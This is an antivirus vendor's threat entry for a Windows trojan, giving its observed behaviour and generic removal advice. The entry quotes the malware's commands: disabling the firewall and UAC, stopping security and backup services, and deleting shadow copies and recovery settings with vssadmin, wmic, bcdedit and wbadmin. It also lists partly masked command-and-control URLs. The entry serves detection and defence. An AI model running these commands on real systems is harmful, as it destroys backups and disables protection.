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Trojan.Siggen9.18371

Added to the Dr.Web virus database: 2020-03-08

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following files on removable media
  • <Drive name for removable media>:\correct.avi
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
  • User Account Control (UAC)
deletes volume shadow copies.
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' firewall set opmode disable
  • '%WINDIR%\syswow64\net.exe' stop avpsus /y
  • '%WINDIR%\syswow64\net.exe' stop McAfeeDLPAgentService /y
  • '%WINDIR%\syswow64\net.exe' stop mfewc /y
  • '%WINDIR%\syswow64\net.exe' stop BMR Boot Service /y
  • '%WINDIR%\syswow64\net.exe' stop NetBackup BMR MTFTP Service /y
Modifies file system
Creates the following files
  • <DRIVERS>\etc\host
  • %APPDATA%\5gy852cndrsg8sr__tarih( 7 mart 2020 cumartesi )_saat( 21-04-26 )
Deletes the following files
  • %APPDATA%\5gy852cndrsg8sr__tarih( 7 mart 2020 cumartesi )_saat( 21-04-26 ).mzr
Moves the following files
  • from %APPDATA%\5gy852cndrsg8sr__tarih( 7 mart 2020 cumartesi )_saat( 21-04-26 ) to %APPDATA%\5gy852cndrsg8sr__tarih( 7 mart 2020 cumartesi )_saat( 21-04-26 ).mzr
Network activity
TCP
HTTP GET requests
  • http://df#########65f4d56.000webhostapp.com/Zmc0NjVmaGZnNjY0aGg4NDk4NTM3NDUqd2Vyc2RmNTRkNDVkZzQ2NWZoNDY1ZjQ2NWY0NnNkZjU2c2RmNDY2c2Q0NjQ1ZGZnNjVmZzVkZmcrNmQ2NTU0JTMrOjU6d8O8ZcO8xJ9zZGbDvMSfc2Rmw...
  • http://ch####p.dyndns.org/
UDP
  • DNS ASK df#########65f4d56.000webhostapp.com
  • DNS ASK ch####p.dyndns.org
Miscellaneous
Creates and executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C netsh firewall set opmode disable' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C net stop avpsus /y & net stop McAfeeDLPAgentService /y & net stop mfewc /y & net stop BMR Boot Service /y & net stop NetBackup BMR MTFTP Service /y & stop "audioendpointbuilder" /y & stop "s...' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C sc config SQLTELEMETRY start= disabled & sc config SQLTELEMETRY$ECWDB2 start= disabled & sc config SQLWriter start= disabled & sc config SstpSvc start= disabled' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB & vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB & vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C netsh firewall set opmode disable
  • '%WINDIR%\syswow64\sc.exe' config SQLTELEMETRY$ECWDB2 start= disabled
  • '%WINDIR%\syswow64\net1.exe' stop BMR Boot Service /y
  • '%WINDIR%\syswow64\net1.exe' stop mfewc /y
  • '<SYSTEM32>\vssvc.exe'
  • '%WINDIR%\syswow64\net1.exe' stop McAfeeDLPAgentService /y
  • '%WINDIR%\syswow64\net1.exe' stop avpsus /y
  • '%WINDIR%\syswow64\net1.exe' stop NetBackup BMR MTFTP Service /y
  • '%WINDIR%\syswow64\sc.exe' config SQLTELEMETRY start= disabled
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=401MB
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB & vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB & vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...
  • '%WINDIR%\syswow64\cmd.exe' /C sc config SQLTELEMETRY start= disabled & sc config SQLTELEMETRY$ECWDB2 start= disabled & sc config SQLWriter start= disabled & sc config SstpSvc start= disabled
  • '%WINDIR%\syswow64\cmd.exe' /C net stop avpsus /y & net stop McAfeeDLPAgentService /y & net stop mfewc /y & net stop BMR Boot Service /y & net stop NetBackup BMR MTFTP Service /y & stop "audioendpointbuilder" /y & stop "s...
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=401MB
  • '%WINDIR%\syswow64\sc.exe' config SQLWriter start= disabled

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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